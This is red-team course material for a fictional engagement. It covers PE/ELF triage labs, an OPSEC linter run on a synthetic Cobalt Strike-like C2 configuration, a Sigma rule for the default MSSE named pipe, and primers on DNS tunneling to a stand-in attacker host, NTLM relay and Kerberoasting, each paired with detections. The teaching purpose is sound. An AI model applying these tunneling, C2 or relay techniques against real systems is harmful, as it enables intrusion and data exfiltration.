2. Read an ELF header with objdump / readelf

On Linux (Ubuntu 22.04 range VM), analyze a system binary:

# ELF header:
readelf -h /usr/bin/python3

# Program headers (segments):
readelf -l /usr/bin/python3

# Dynamic section (equivalent of PE import table):
readelf -d /usr/bin/python3 | grep 'NEEDED\|RPATH\|RUNPATH'

# Dynamic symbol table (function imports):
readelf -W --syms /usr/bin/python3 | grep 'UND'  # undefined = imported from shared libs

# Sections:
readelf -S /usr/bin/python3

Key output to capture:

ELF Header:
  Class:     ELF64
  Type:      DYN (Position-Independent Executable file)
  Machine:   Advanced Micro Devices X86-64
  Entry point address:  0x...

Dynamic section:
  (NEEDED) Shared library: [libc.so.6]
  (NEEDED) Shared library: [libpthread.so.0]
  (NEEDED) Shared library: [libdl.so.2]

Symbol table '.dynsym':
  UND  openat@@GLIBC_2.10
  UND  mmap@@GLIBC_2.2.5
  ...

3. Translate the output into the lab dict format

Convert the dumpbin or pefile output for the PE to the Lab 01 dict format:

# Example from notepad.exe (values illustrative, not exact)
pe_metadata = {
    "magic": "MZ",
    "machine": "x86-64",
    "timestamp": 1670000000,       # from TimeDateStamp
    "subsystem": 2,                # 2 = Windows GUI (expected for notepad)
    "imports": [
        ("KERNEL32.dll", "WriteFile"),
        ("KERNEL32.dll", "ReadFile"),
        ("KERNEL32.dll", "CreateFileW"),
        ("USER32.dll", "MessageBoxW"),
        ("USER32.dll", "CreateWindowExW"),
        # ... (add all imports from dumpbin output)
    ],
    "exports": [],                 # notepad has no exports
    "pdb_path": "",                # production binaries have PDB stripped
    "sections": [".text", ".data", ".rdata", ".rsrc", ".reloc"],
}

For the ELF dict (Lab 01 ELF variant):

elf_metadata = {
    "magic": "ELF",
    "e_type": "ET_DYN",
    "machine": "x86-64",
    "needed": ["libc.so.6", "libpthread.so.0", "libdl.so.2"],
    "dynsym_undefined": ["openat", "mmap", "mprotect", "read", "write"],
    "sections": [".text", ".data", ".rodata", ".dynamic", ".dynsym", ".rela.plt"],
    "interp": "/lib64/ld-linux-x86-64.so.2",
}

For the OPSEC linter dict (Lab 02), build a synthetic tool entry that demonstrates a high-noise configuration. Use values that represent "what a default-configured C2 agent would show" — not a real agent, but a realistic fictional one for the exercise:

synthetic_tool = {
    "name": "beacon-default",
    "type": "c2_agent",
    "named_pipe": "MSSE-4abc-server",          # default Cobalt Strike pipe pattern
    "user_agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0;)",
    "beacon_uri": "/api/",
    "sleep_seconds": 60,
    "jitter_percent": 0,
    "imphash": "a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6",   # fictional; not known-bad
    "pdb_path_stripped": False,
    "pdb_path": "C:\\build\\implant.pdb",
}

4. Run the format analyzer (Lab 01)

cd red-team-engineer/phase-02-offensive-tooling-development/lab-01-pe-format-analyzer

# Verify the reference solution passes all 14 tests:
LAB_MODULE=solution python3 -m pytest -q

# Run the analyzer against your notepad-derived dict:
python3 -c "
import solution, json

pe_metadata = {
    'magic': 'MZ',
    'machine': 'x86-64',
    'timestamp': 1670000000,
    'subsystem': 2,
    'imports': [
        ('KERNEL32.dll', 'WriteFile'),
        ('KERNEL32.dll', 'ReadFile'),
        ('USER32.dll', 'MessageBoxW'),
    ],
    'exports': [],
    'pdb_path': '',
    'sections': ['.text', '.data', '.rdata', '.rsrc'],
}
result = solution.analyze(pe_metadata)
print(json.dumps(result, indent=2))
"

Expected output includes:

• file_type: "PE32+"
• imphash: the computed MD5 of the normalized import list
• opsec_flags: a list of flags (for notepad with no PDB and no suspicious imports, the list should be empty or minimal — which is the expected result for a hardened system binary)

Now try with a synthetic tool dict that has OPSEC noise:

# Add to the metadata:
pe_metadata_noisy = {
    "magic": "MZ",
    "machine": "x86-64",
    "timestamp": 1710000000,  # recent timestamp, not zeroed
    "subsystem": 3,
    "imports": [
        ("kernel32.dll", "VirtualAllocEx"),
        ("kernel32.dll", "WriteProcessMemory"),
        ("ntdll.dll", "NtCreateThreadEx"),
        ("ws2_32.dll", "WSAStartup"),
    ],
    "exports": [{"name": "ReflectiveLoader", "rva": 0x1000}],
    "pdb_path": "C:\\Users\\operator\\repos\\implant\\x64\\Release\\implant.pdb",
    "sections": [".text", ".data", ".rdata"],
}

The analyzer should flag pdb_path_present and reflective_export_name as OPSEC indicators.

5. Run the OPSEC linter (Lab 02)

cd ../lab-02-tooling-ioc-opsec-linter

# Verify the reference solution passes all 15 tests:
LAB_MODULE=solution python3 -m pytest -q

# Run the linter against the synthetic tool inventory:
python3 -c "
import solution, json

inventory = [
    {
        'name': 'beacon-default',
        'type': 'c2_agent',
        'named_pipe': 'MSSE-4abc-server',
        'user_agent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0;)',
        'beacon_uri': '/api/',
        'sleep_seconds': 60,
        'jitter_percent': 0,
        'imphash': 'a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6',
        'pdb_path_stripped': False,
        'pdb_path': 'C:\\\\build\\\\implant.pdb',
    }
]
known_bad_db = {}   # no known-bad imphash entries for this fictional tool
results = solution.lint(inventory, known_bad_db)
for r in results:
    print(json.dumps(r, indent=2))
"

Expected output: findings ranked HIGH→MEDIUM→LOW with detection descriptions:

• HIGH: default_named_pipe — "MSSE-* pattern detected by Sysmon EID 17 + Sigma rule"
• HIGH: default_user_agent — "matches known Cobalt Strike default; proxy log detection"
• MEDIUM: pdb_path_present — "PDB path not stripped; extract with pefile/strings"
• MEDIUM: default_sleep_nojitter — "periodic 60s beacon; netflow periodic-connection detection"
• LOW: default_beacon_uri — "/api/ URI detected by proxy rule"

The noise score for this tool should be at least: 3 (named_pipe HIGH) + 3 (user_agent HIGH) + 2 (pdb MEDIUM) + 2 (sleep MEDIUM) + 1 (uri LOW) = 11.

6. Write the Sigma rule for the highest-noise finding

The highest-noise finding for the synthetic tool is default_named_pipe. Write the detection:

title: Default C2 Named Pipe — Known Pattern (MSSE)
id: f1e2d3c4-b5a6-7890-fedc-ba9876543210
status: experimental
description: >
  A named pipe matching the default Cobalt Strike pipe-name pattern (MSSE-*-server) was created.
  This indicates use of a C2 agent with the default profile. Should be customized in production;
  this default is detected by multiple detection platforms.
references:
  - https://attack.mitre.org/techniques/T1071/
logsource:
  product: windows
  category: pipe_created
detection:
  selection:
    PipeName|startswith: '\MSSE-'
  condition: selection
falsepositives:
  - None expected; this specific pattern is not used by legitimate software.
level: high
tags:
  - attack.command_and_control
  - attack.t1071

Load this rule into your Wazuh or Elastic detection engine. To verify it fires:

• On your range Windows VM, you can create a named pipe with a matching name using a PowerShell one-liner (for range-only testing): [System.IO.Pipes.NamedPipeServerStream]::new("MSSE-test-server")
• Check Sysmon EID 17 in the event log for the pipe creation event.
• Confirm the Sigma rule generates an alert in your SIEM.

This demonstrates the detection fires on the pipe name, not on a binary hash — it survives any recompilation of the C2 agent as long as the profile default is unchanged.

7. The evidence packet

Collect and store in the range (not published):

• The dumpbin / pefile / readelf output for the binary you analyzed.
• The translated dict used as lab input.
• The Lab 01 analyzer output (file type, imphash, OPSEC flags).
• The Lab 02 linter output (ranked findings, noise score).
• The Sigma rule file.
• A screenshot or log of the Sysmon EID 17 event (the pipe-creation detection firing on range).
• A one-paragraph narrative: which binary was analyzed, which OPSEC findings were highest-impact, which detection was written, and what the detection keys on (the pipe name, not the hash).

This is the Phase 02 portfolio artifact: the FIN-LATTICE tooling triage for Operation Cedar Lattice.

8. Teardown

• Remove pefile from any system Python install (uninstall from the range venv, not a shared env).
• Delete the translated dicts and any binary copies that are not part of the evidence packet.
• If you ran the synthetic pipe-creation test on the Windows VM, close and remove the pipe server.
• Revert the range VM to its snapshot for the next exercise.

Common false claims

"I analyzed a real implant." In this exercise, you analyzed a legitimate system binary (notepad.exe, python3) and a synthetic dict. The honest claim: "I applied the PE/ELF triage methodology to a known-good binary, observing the same structural fields that appear in any binary, and demonstrated the OPSEC linter against a fictional tool configuration."

"A clean OPSEC linter score means the tool is undetectable." The linter checks default-indicator hygiene. It does not assess behavioral (TTP-level) detectability. A perfectly hygiene-cleaned tool is still detectable via ETW-TI, kernel callbacks, and parent-child analysis. State this limitation in any OPSEC assessment you write.

"imphash detection is a meaningful control." It is a triage accelerator in DFIR; it is not a production detection control. The detection that matters is the behavioral IOC at the TTP layer. If a client asks whether to implement imphash-based blocking, the honest answer is: "it adds one recompile of friction; invest in behavioral detections at the same time."

"The Sysmon EID 17 rule is all we need." A named-pipe rule detects the default profile; a profile change evades it. The complete detection stack for a C2 agent includes the pipe rule (fast, brittle) plus the behavioral connection-from-unusual-process rule (slower, more durable) plus JA3 fingerprinting at the network layer (durable for a given TLS configuration). Document all three and their durability ratings.

Lab 01 — PE/ELF Format Analyzer

Parse synthetic binary metadata, compute imphash, classify tooling type, and extract OPSEC indicators from header fields.

What it builds

A static-analysis engine that ingests a dict representation of PE or ELF binary metadata and produces a structured triage report: file type, architecture, imphash (for PE), export function names, and a list of OPSEC indicator flags (PDB path present, reflective export name, timestamp not zeroed, suspicious subsystem).

Why it matters

Binary format triage is the first step in any DFIR tooling analysis and in any engagement-tool OPSEC review. The import table and debug directory are observable without executing the binary. Understanding which fields matter — and which detection each maps to — is the literacy this lab builds.

Files

Running

# Verify the reference passes all 14 tests:
LAB_MODULE=solution python3 -m pytest -q

# Run against your implementation after filling in the TODOs:
python3 -m pytest -q

API

analyze(meta: dict) -> dict
    # Returns: {file_type, imphash, exports, pdb_path, opsec_flags, architecture, subsystem}

compute_imphash(imports: list[tuple[str, str]]) -> str
    # imports: [(dll_name, func_name), ...]
    # Returns: MD5 hex of normalized comma-joined import list

extract_pdb_path(meta: dict) -> str | None

opsec_flags(meta: dict) -> list[str]
    # Returns zero or more flags from:
    # "pdb_path_present", "timestamp_not_zeroed", "reflective_export",
    # "empty_import_table", "unusual_subsystem"

classify_file_type(meta: dict) -> str
    # "PE32+" | "PE32" | "ELF64" | "ELF32" | "Unknown"

Lab 02 — Tooling IOC / OPSEC Linter

Check a tooling inventory against an OPSEC checklist and return ranked findings with detection descriptions and per-tool noise scores.

What it builds

An OPSEC linter that ingests a list of tool configuration dicts (C2 agents, loaders, utilities) and checks each against a weighted checklist of known-default indicators. Returns a ranked findings list (HIGH → MEDIUM → LOW) with detection descriptions and a numeric noise score per tool.

Why it matters

OPSEC hygiene is measurable. Every default indicator has a public detection rule. This lab turns the OPSEC assessment from "gut feel" into a ranked, actionable report — the kind that goes in a Mandiant engagement appendix.

Files

Running

LAB_MODULE=solution python3 -m pytest -q   # 15 tests
python3 -m pytest -q                        # your implementation

API

lint(inventory: list[dict], known_bad_imphash: dict) -> list[dict]
    # Returns list of {tool_name, noise_score, findings: [{check, severity, detection}]}
    # Sorted: highest noise_score first

highest_risk_tool(linted: list[dict]) -> str
    # Returns the tool_name with the highest noise_score

noise_score(findings: list[dict]) -> int
    # HIGH=3, MEDIUM=2, LOW=1; sum of all finding weights

check_named_pipe(tool: dict) -> dict | None
check_user_agent(tool: dict) -> dict | None
check_imphash(tool: dict, known_bad: dict) -> dict | None
check_pdb(tool: dict) -> dict | None
check_sleep_jitter(tool: dict) -> dict | None
check_beacon_uri(tool: dict) -> dict | None

« Red Team Engineer

Phase 03 — Network Attacks, Protocols & Pivoting

Operation Cedar Lattice, Phase 03. Phase 01 turned CTI on FIN-LATTICE into an ATT&CK-mapped emulation plan; Phase 02 built the toolkit. Now the engagement against Meridian Freight International moves onto the wire. This phase is the bridge from plan to foothold to internal map: you do external reconnaissance of Meridian's perimeter, land a foothold behind a field-office VPN, and build the internal pivot map — the reachability graph the rest of the engagement walks. And because this is a red team track, every step ends in the network telemetry that catches it: the netflow shape of a pivot, the entropy of a DNS tunnel, the proxy log of a beacon, the Zeek/Suricata signature of the scan.

The deliverable a real engagement produces here is not "we got a shell." It is an attack-path / pivot map of the internal network, the segmentation and egress controls that would have broken it, and the network detections the SOC should have fired — the artifact the privilege-escalation (P04) and Active Directory (P05) phases build on.

Safety. Authorized-lab only. Every lab in this phase is an analyzer / planner / graph-solver / detection-mapper over synthetic metadata — network graphs, firewall rules, flow records. There are no live targets, no scanning of real hosts, no tunneling tools, no weaponization. The labs are planners and policy-analyzers; every offensive concept ends in its detection / segmentation control. This is the same boundary as the security track's offensive-methodology-mastery/ (and directly extends its network-pivot-planner lab).

Why this phase exists

Every later phase assumes you can already move around a network. Privilege escalation (P04) needs a host to escalate on; the AD attack (P05) needs a path to the domain controller; the C2 phase (P08) needs an egress channel out. None of that is possible without the network layer: knowing what a protocol reveals, how reconnaissance maps an environment, how a pivot turns one foothold into reachability across a whole segment, and — critically — what each of those actions looks like to a network sensor.

This phase is also where the red teamer and the network defender become the same person. An attack-path planner and a segmentation-planning tool are the same graph algorithm. An egress allow-list is both the control that stops a beacon and the audit that finds the hole. The most valuable thing you take from Phase 03 is the habit of seeing every offensive network move and its detection at the same time — which is exactly what makes the knowledge hireable rather than merely dangerous.

Learning Objectives

By the end of this phase you can, without notes:

1. Read the OSI / TCP-IP model and say, for each layer, what an attacker learns and what telemetry that layer produces (Ethernet/ARP, IP/ICMP, TCP/UDP, TLS, HTTP/DNS/SMB).
2. Explain DNS end to end — recursion, record types, the resolver path — and how DNS is used three ways: as reconnaissance, as a covert channel (tunneling / C2), and as a detection surface (volume, entropy, NXDOMAIN bursts, query length).
3. Describe the SMB / NTLM / Kerberos transports at the protocol level — enough to know what a relay, a coerced authentication, or a Kerberoast looks like on the wire and in the logs.
4. Draw the line between passive and active reconnaissance, and state the legal/authorization boundary that separates research from an offense.
5. Explain scanning theory: TCP state machine, why a SYN scan, the rate-vs-stealth tradeoff, and how a scan appears in netflow and IDS telemetry.
6. Model pivoting and tunneling — SOCKS proxies, local / remote / dynamic port-forwarding, chisel/ligolo concepts — as reachability over a graph, and compute the path, the cost, and the choke point.
7. Design network segmentation (VLANs, ACLs, zero-trust, microsegmentation) and egress filtering / allow-listing, and prove a policy blocks a given lateral path.
8. Map each offensive network behavior to the telemetry that detects it — netflow shape, DNS volume/entropy, proxy logs, Zeek / Suricata — and write the detection.

The network layers and what each reveals (read the WARMUP for depth)

L7  HTTP/DNS/SMB    application intent       "who talks to whom, and what for?"   → proxy/DNS/Zeek logs
L4  TCP/UDP         ports, sessions, state   "what services, what sessions?"      → netflow, conn logs
L3  IP/ICMP         addressing, routing      "what hosts, what topology?"         → flow records, routes
L2  Ethernet/ARP    local adjacency          "what is on my segment?"             → ARP/switch telemetry

Each layer is an attacker's information source and a defender's sensor. The skill is holding both views at once.

Concepts

Labs

The two labs compose: Lab 01 finds the lateral path and the choke point; Lab 02 decides whether the segmentation policy blocks that path and turns the choke point into a firewall rule and an egress allow-list. Together they are the attacker's planner and the defender's control over the same graph.

Each lab follows LAB-STANDARD.md: lab.py (TODOs), a complete solution.py, adversarial test_lab.py, README.md, requirements.txt — pure Python (stdlib + pytest), offline, deterministic, with the detection pairing built in.

cd lab-01-pivot-attack-path-planner
LAB_MODULE=solution pytest -q   # reference passes (17 tests)
pytest -q                        # your implementation after the TODOs

cd ../lab-02-segmentation-egress-analyzer
LAB_MODULE=solution pytest -q   # reference passes (20 tests)

Deliverables

• A pivot / attack-path planner that, given Meridian's internal reachability graph and a foothold, computes the set of reachable hosts, the cheapest (quietest) path to a crown jewel, and the choke points whose removal disconnects the foothold from the target.
• A segmentation & egress analyzer that evaluates flows against a firewall ruleset, flags over-permissive and broad-egress (likely-C2) rules, proves whether a proposed segmentation policy blocks a lateral path, and emits egress-allow-list recommendations.
• The Operation Cedar Lattice Phase 03 artifact: the internal pivot map (foothold → crown jewels), the choke-point list, the segmentation + egress policy that breaks the path, and the network detections (netflow, DNS-entropy, proxy, Zeek/Suricata) that should have fired — all over synthetic metadata.
• The fluency to explain DNS, SMB/NTLM/Kerberos transports, scanning theory, and pivoting in an interview, and to pair every network attack with its telemetry and control.

Readings (primary sources)

• The TCP/IP Guide (Kozierok) — the protocol reference for this phase.
• RFC 1034 / 1035 (DNS concepts + implementation), RFC 9293 (TCP), RFC 826 (ARP), RFC 9110 (HTTP semantics), RFC 4120 (Kerberos), RFC 1928 (SOCKS5).
• MITRE ATT&CK network techniques: Network Service Discovery (T1046), Remote System Discovery (T1018), Remote Services (T1021), Internal/External Proxy (T1090), Protocol Tunneling (T1572), Application-Layer Protocol C2 (T1071), Non-Standard Port (T1571), Exfiltration Over C2 (T1041), DNS (T1071.004), Adversary-in-the-Middle / LLMNR-NBT-NS / ARP (T1557).
• Zeek documentation (conn, dns, http, ssl, notice logs) and Suricata rules docs.
• MITRE D3FEND for the defensive mapping; NIST SP 800-207 (Zero Trust Architecture).
• Conference talks on DNS tunneling detection and netflow-based lateral-movement hunting.

Common Mistakes

• Treating reachability as a list, not a graph. "These hosts are reachable" misses the path, the cost, and — crucially — the choke point. The graph is the deliverable (Lab 01).
• Optimizing for fewest hops instead of least noise. The shortest path is often the loudest. The cheapest path (Dijkstra over detection-risk) is the one an operator takes and the one to instrument.
• Scanning at full rate "to be fast." Aggressive scans light up every IDS. Rate-vs-stealth is a deliberate OPSEC choice, and the scan's netflow signature is a detection (WARMUP Ch. 5, 10).
• Forgetting that a pivot is loud. A SOCKS proxy through a jump host produces an east-west netflow fan-out and many short multiplexed connections from one source — a textbook detection.
• Allowing broad egress. any-any outbound and odd-port internet egress are how beacons get home. Deny-by-default egress + an allow-list + a proxy is the single highest-leverage network control.
• Mapping an attack but never the detection. A pivot map without its netflow/DNS/proxy/Zeek detection is half the work — and fails this track's detection-pairing bar.
• Crossing the authorization line in recon. Passive OSINT is not active scanning. Never test a host because it is reachable; the boundary is written authorization (WARMUP Ch. 4).

Interview Questions

1. Walk the TCP three-way handshake and the TCP state machine. Why does a SYN scan work, what does it leave half-open, and how does a defender detect it?
2. Explain DNS resolution end to end. How is DNS used for reconnaissance, as a covert C2/tunnel, and as a detection surface — and what exactly do you measure to catch a tunnel?
3. What is a pivot? Compare local, remote, and dynamic (SOCKS) port-forwarding, and explain why a pivot is "just reachability over a graph." How does each appear in netflow?
4. Given a foothold and a target, how do you find the quietest path, and how does a defender find the choke point? Why are those the same algorithm?
5. Design the network segmentation and egress filtering that would stop a lateral path from a VPN foothold to a database. What does deny-by-default egress + an allow-list actually buy you?
6. What does SMB/NTLM authentication look like on the wire and in the logs, and what makes an NTLM relay or a coerced authentication detectable?
7. You suspect C2 in a netflow + DNS + proxy dataset but have no malware sample. What signals do you hunt — beacon periodicity, JA3/JA4, DNS entropy, long connections to rare destinations — and which costs the adversary the most to evade (Pyramid of Pain)?
8. What is the difference between passive and active reconnaissance, and where exactly is the legal/ authorization line?

(Full principal-level answers are in WARMUP.md.)

Portfolio artifact

The Operation Cedar Lattice Phase 03 network package: the internal pivot map (Lab 01 output — foothold → reachable hosts → cheapest path to the ERP database and the domain controller, with the choke-point list); the segmentation + egress policy (Lab 02 output — the firewall ruleset that blocks the path, the over-permissive findings, and the egress allow-list); and the network-detection matrix pairing each offensive step (recon, scan, pivot, DNS tunnel, beacon) with the netflow / DNS / proxy / Zeek / Suricata telemetry that catches it — all over synthetic metadata, no real targets, no weaponization. This is 03-network-and-pivoting/ in the capstone portfolio.

Guides

• WARMUP.md — the from-zero deep dive: the OSI/TCP-IP model, DNS, SMB/NTLM/Kerberos transports, recon and the legal line, scanning theory, pivoting & tunneling as graph reachability, segmentation, egress filtering, and the network telemetry that detects each.
• HITCHHIKERS-GUIDE.md — the operator's range walkthrough: on an owned isolated range, map the topology, build a pivot through a multi-homed host, stand up a SOCKS proxy, observe the netflow/DNS it generates, then add a segmentation ACL + egress allow-list that breaks it, and write the Zeek/Suricata detection.

Warmup Guide — Network Attacks, Protocols, Pivoting, and the Telemetry That Catches Them

Zero-to-principal primer for Phase 03. It builds every concept the phase depends on from first principles: the OSI / TCP-IP model and what each layer reveals; DNS end to end (recursion, records, DNS as recon and as a covert channel); the SMB / NTLM / Kerberos transports; reconnaissance and the legal line; scanning theory (TCP states, SYN scan, rate vs stealth); pivoting and tunneling (SOCKS, local/remote/dynamic forwarding) modeled as reachability over a graph; network segmentation (VLANs, ACLs, zero-trust, microsegmentation); egress filtering and allow-listing; and the network telemetry (netflow, DNS logs, proxy logs, Zeek, Suricata) that detects each. It assumes only that you can write software and have read Phase 00's authorization boundary. By the end you can read any network move through the attacker's and the defender's eyes at once.

Safety frame (not optional). This is the network attacker's playbook taught for authorized emulation and defense. Everything here reasons over synthetic metadata; every offensive concept ends in its detection / segmentation control. The difference between a red teamer and a criminal is authorization and intent, not knowledge (Phase 00). Nothing here scans, tunnels through, or touches a host you do not own.

Table of Contents

• Chapter 1: The OSI / TCP-IP Model — What Each Layer Reveals
• Chapter 2: DNS — Resolution, Records, Recon, and the Covert Channel
• Chapter 3: SMB, NTLM, and Kerberos Transports
• Chapter 4: Reconnaissance — Passive vs Active, and the Legal Line
• Chapter 5: Scanning Theory — TCP States, SYN Scans, Rate vs Stealth
• Chapter 6: Lateral Movement as Reachability Over a Graph
• Chapter 7: Pivoting and Tunneling — SOCKS, Port-Forwarding, chisel/ligolo
• Chapter 8: Network Segmentation — VLANs, ACLs, Zero-Trust, Microsegmentation
• Chapter 9: Egress Filtering and Allow-Listing
• Chapter 10: Network Telemetry — Netflow, DNS, Proxy, Zeek, Suricata
• Lab Walkthrough Guidance
• Success Criteria
• Common Mistakes and OPSEC Failures
• Interview Q&A
• References

Chapter 1: The OSI / TCP-IP Model — What Each Layer Reveals

Zero background. When one computer talks to another, the message is wrapped in layers, like an envelope inside an envelope inside an envelope. Each layer adds its own header so a different piece of networking equipment can do its job and hand the rest along. The OSI model names seven such layers; the TCP/IP model (the one the internet actually runs) collapses them into four. You do not need to worship the seven-layer chart, but you must internalize one idea: every layer is both a thing an attacker learns from and a thing a defender can watch.

What it is. Here is the practical stack, top (application) to bottom (wire), with the attacker/defender view fused:

Why it exists. Layering lets each part of the network evolve independently — you can swap Wi-Fi for Ethernet (L2) without rewriting HTTP (L7). For us, layering is a map of information: a question like "what hosts exist?" is answered at L3; "what services run?" at L4; "what are they actually doing?" at L7. Knowing the layer tells you both how to learn the answer and which sensor will see you ask.

Under the hood — encapsulation. A single HTTPS request to erp.meridian.example is wrapped like this on the wire (each layer prepends a header):

[ Ethernet header | IP header | TCP header | TLS record | HTTP request ] payload
   src/dst MAC       src/dst IP   src/dst    encrypted    GET /...
   (L2)              (L3)         port (L4)  (L6/7)        (L7, if no TLS)

A defender's sensor reads exactly the layers it sits at. A netflow collector sees the IP/TCP headers (who, to whom, which port, how many bytes, how long) but not the HTTP body. A proxy terminates TLS and sees the URL and headers. Zeek parses all the layers it can and writes one log per protocol. This is why "the attacker hid in TLS" and "the SOC still caught the beacon in netflow" are both true at once: encryption hides L7, not L3/L4 metadata.

Telemetry it emits. Every layer leaves a record (right-hand column above). The principal-level habit is to ask, for any action: which layer does this touch, and therefore which log will it appear in? A DNS tunnel hides in L7 DNS but screams in L7 DNS logs (volume, entropy). A port scan hides nothing at L4 — it is loud in netflow by construction.

How a defender detects it. The defender instruments per layer: ARP/switch monitoring (L2), flow records (L3/L4), proxy + DNS + Zeek protocol logs (L7). The art is correlation across layers — a single L7 DNS anomaly is noise; a DNS anomaly plus an L4 beacon plus an L3 connection to a rare destination is an incident.

Engagement significance. In Operation Cedar Lattice, you will reason at every layer: ARP for on-segment positioning (L2), IP/port reachability for the pivot graph (L3/L4), DNS/HTTP/SMB for recon and C2 (L7). The pivot map (Lab 01) is fundamentally an L3/L4 reachability model; the egress policy (Lab 02) is an L3/L4/L7 filter.

Common misconception. "TLS makes traffic invisible." No — TLS encrypts the L7 content, not the L3/L4 metadata (who, whom, port, size, timing) or the TLS handshake fingerprint (JA3/JA4, SNI). Most network detection lives in exactly the metadata TLS does not hide.

Chapter 2: DNS — Resolution, Records, Recon, and the Covert Channel

Zero background. Computers route by IP address (192.0.2.10), but humans use names (erp.meridian.example). DNS (the Domain Name System) is the distributed phone book that turns a name into an address. It is the single most important protocol in this phase because it is used three completely different ways: as the plumbing every connection needs, as a reconnaissance source, and as a covert channel — and it is one of the richest detection surfaces a defender has.

What it is — resolution end to end. When a host resolves erp.meridian.example:

client ── "A erp.meridian.example?" ──► recursive resolver (the host's configured DNS server)
                                          │  (cache miss → it does the walking:)
                                          ├─► root server      → "ask the .example TLD servers"
                                          ├─► .example TLD      → "ask meridian.example's name servers"
                                          └─► meridian.example  → "erp = 192.0.2.10"  (authoritative)
client ◄──────────── "erp.meridian.example = 192.0.2.10" ───────┘

The recursive resolver does the legwork and caches the answer for its TTL (time-to-live). The authoritative servers are the source of truth for a zone. This recursion is the mechanism a tunnel abuses (below).

Record types you must know:

Why it exists. A flat global host table cannot scale; DNS distributes authority (each org runs its own zone) and caches aggressively. That distribution and caching are exactly what make DNS a useful recon source (anyone can query public records) and a stealthy channel (queries traverse the org's own resolver out to the internet by design).

Under the hood — DNS as reconnaissance (passive, mostly legal). You can learn a great deal about Meridian without touching its hosts, by querying public DNS and aggregators:

• Subdomain enumeration — vpn., mail., dev., erp. reveal the attack surface.
• Passive DNS — historical name→IP mappings from third-party datasets (no query to the target).
• Certificate transparency — every TLS cert is logged publicly; CT logs leak subdomains.
• MX / TXT — mail infra and the SPF/DKIM/DMARC posture that Phase 10 phishing depends on.

A zone transfer (AXFR) — asking an authoritative server to dump the entire zone — is the loud, active version; a misconfigured server that answers AXFR to anyone hands over the whole map. That crosses from passive observation into interaction (Chapter 4).

Under the hood — DNS as a covert channel (tunneling / C2). Because a host's DNS queries are allowed out by default (almost every egress policy permits udp/53 or DNS over the resolver), DNS becomes an exfiltration and command channel. The trick: encode data into the name being queried.

exfil:  base32(secret-chunk-1).tunnel.attacker.example   →  resolver  →  attacker's authoritative NS
        base32(secret-chunk-2).tunnel.attacker.example       (logs each label = receives the data)
C2:     the attacker's NS answers with TXT/CNAME records that encode commands back to the implant

Each query smuggles a few bytes in the subdomain label; the attacker controls the authoritative name server for attacker.example, so it receives every label and answers with instructions. This is slow and chatty but works through almost any firewall — which is exactly why it is detectable.

Telemetry it emits. DNS tunneling and DNS recon leave a loud signature:

• Query volume — a host making thousands of DNS queries to one zone is abnormal.
• Name entropy / length — base32-encoded labels look random and are long; legitimate names are short and dictionary-like. High Shannon entropy per label is a strong signal.
• Record-type mix — heavy TXT / NULL / CNAME traffic to one domain is unusual.
• NXDOMAIN bursts — domain-generation-algorithm (DGA) C2 produces many failed lookups.
• Many unique subdomains under one parent — the tunnel's signature.

How a defender detects it. Zeek's dns.log (every query, response, record type, length) feeds a detection: alert on per-host query rate to a single zone, mean label entropy above a threshold, unusual record-type ratios, and unique-subdomain count. The control is to force all DNS through the enterprise resolver, log it, and block direct udp/53 egress — so there is no path to an external authoritative server except through a sensor.

Engagement significance. DNS is the egress channel of last resort and the recon source of first resort. In Operation Cedar Lattice you map Meridian's external surface via DNS/CT (Phase 03 recon), and the C2 phase (Phase 08) returns to DNS as a channel — both ending in the DNS-entropy detection.

Common misconceptions. "DNS is just name lookups, low risk." DNS is a bidirectional, allowed-out, loggable channel — high recon value and a real covert channel. "If I tunnel over DNS I am invisible." DNS tunneling is one of the most detectable channels because the encoded names are statistically obvious; it trades reachability for stealth.

Chapter 3: SMB, NTLM, and Kerberos Transports

Zero background. Inside a Windows enterprise like Meridian's, hosts share files, run remote administration, and authenticate users constantly. SMB (Server Message Block) is the file/IPC protocol; NTLM and Kerberos are the two authentication protocols those services use. You will meet these in depth in Phase 05 (Active Directory); here you learn just enough to recognize each on the wire and in the logs — because lateral movement rides on them.

What they are.

• SMB (tcp/445) — file shares, named pipes, remote service control. It is the transport for many remote-execution and lateral-movement techniques (admin shares, service creation, named-pipe C2).
• NTLM — a challenge/response authentication protocol. The server sends a challenge; the client proves it knows the password hash by responding. Crucially, NTLM authentication can be relayed: if an attacker can make a victim authenticate to them, they can forward that authentication to a third server and act as the victim.
• Kerberos (tcp/88) — a ticket-based authentication protocol. A client gets a TGT (ticket-granting ticket) from the KDC (the domain controller), then exchanges it for service tickets (TGS) to specific services. Service tickets are encrypted with the service account's key — which is what makes Kerberoasting possible (crack the ticket offline to recover a weak service password).

Why they exist. Enterprises need single sign-on and centralized identity. Kerberos provides it properly (mutual auth, time-bounded tickets, no password on the wire). NTLM is the older fallback, still everywhere, and weaker — which is why so many attacks target it.

Under the hood — what each looks like (the parts that matter here):

NTLM relay:        victim ──auth──► attacker (poses as a server)
                                    attacker ──relays the auth──► target server  → acts as victim
                   trigger: LLMNR/NBT-NS poisoning, or "coerced auth" (force victim to authenticate)

Kerberoast:        attacker ──"give me a TGS for service X"──► KDC
                   KDC returns a TGS encrypted with service X's account key
                   attacker cracks it OFFLINE → recovers service X's password

These are deep Phase-05 topics. The Phase-03 takeaway is the network/transport shape: NTLM relay needs the attacker on-path or able to coerce auth (an L2/L3 position — segmentation matters); Kerberoasting is a normal-looking tcp/88 exchange whose tell is the encryption type (a flood of RC4 TGS-REQ/TGS-REP) in the logs.

Telemetry it emits.

• SMB lateral movement → Windows logon EID 4624 type 3 (network logon), SMB session telemetry, Zeek smb/dce_rpc logs, named-pipe creation.
• NTLM relay / poisoning → LLMNR/NBT-NS responder traffic on the segment (L2/L3), unusual authentications from one source to many targets.
• Kerberoast → EID 4769 (TGS requested) with RC4 encryption type and many services from one user in a short window.

How a defender detects it. Disable LLMNR/NBT-NS (removes the relay trigger); require SMB signing (breaks relay); alert on 4769 RC4 bursts; segment so an attacker cannot reach the broadcast domain to poison it. The network-layer control here is segmentation (Chapter 8): a relay/poisoning attack needs reachability to its victims.

